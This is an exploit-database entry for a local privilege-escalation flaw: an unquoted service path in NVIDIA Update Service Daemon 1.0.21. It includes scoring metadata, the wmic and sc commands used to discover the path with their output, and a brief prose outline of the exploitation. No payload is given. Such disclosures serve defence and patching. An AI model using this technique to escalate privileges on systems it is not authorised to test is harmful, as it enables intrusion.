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NVIDIA Update Service Daemon 1.0.21 Unquoted Service Path

CVE Category Price Severity
CVE-2021-1079 CWE-427 $5,000 High
Author Risk Exploitation Type Date
securitywarrior Critical Local 2020-04-30
CPE
cpe:cpe:/a:nvidia:update_service_daemon:1.0.21
CVSS EPSS EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020040180

Below is a copy:

NVIDIA Update Service Daemon 1.0.21 Unquoted Service Path
# Exploit Title: NVIDIA Update Service Daemon 1.0.21  - 'nvUpdatusService' Unquoted Service Path
# Discovery by: Roberto Pia
# Discovery Date: 2020-04-27
# Vendor Homepage: https://www.nvidia.com/es-la/
# Software Link : https://www.nvidia.com/es-la/
# Tested Version: 1.0.21
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path: 


C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "NVIDIA" | findstr /i /v """
NVIDIA Update Service Daemon                                                     nvUpdatusService                          C:\Program Files (x86)\NVIDIA Corporation\NVIDIA Updatus\daemonu.exe                                                                          Auto

C:\>sc qc nvUpdatusService
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: nvUpdatusService
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START  (DELAYED)
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\NVIDIA Corporation\NVIDIA Updatus\daemonu.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : NVIDIA Update Service Daemon
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: .\UpdatusUser

C:\>

#Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path 
# undetected by the OS or other security applications where it could potentially be executed during 
# application startup or reboot. If successful, the local user's code would execute with the elevated 
# privileges of the application.

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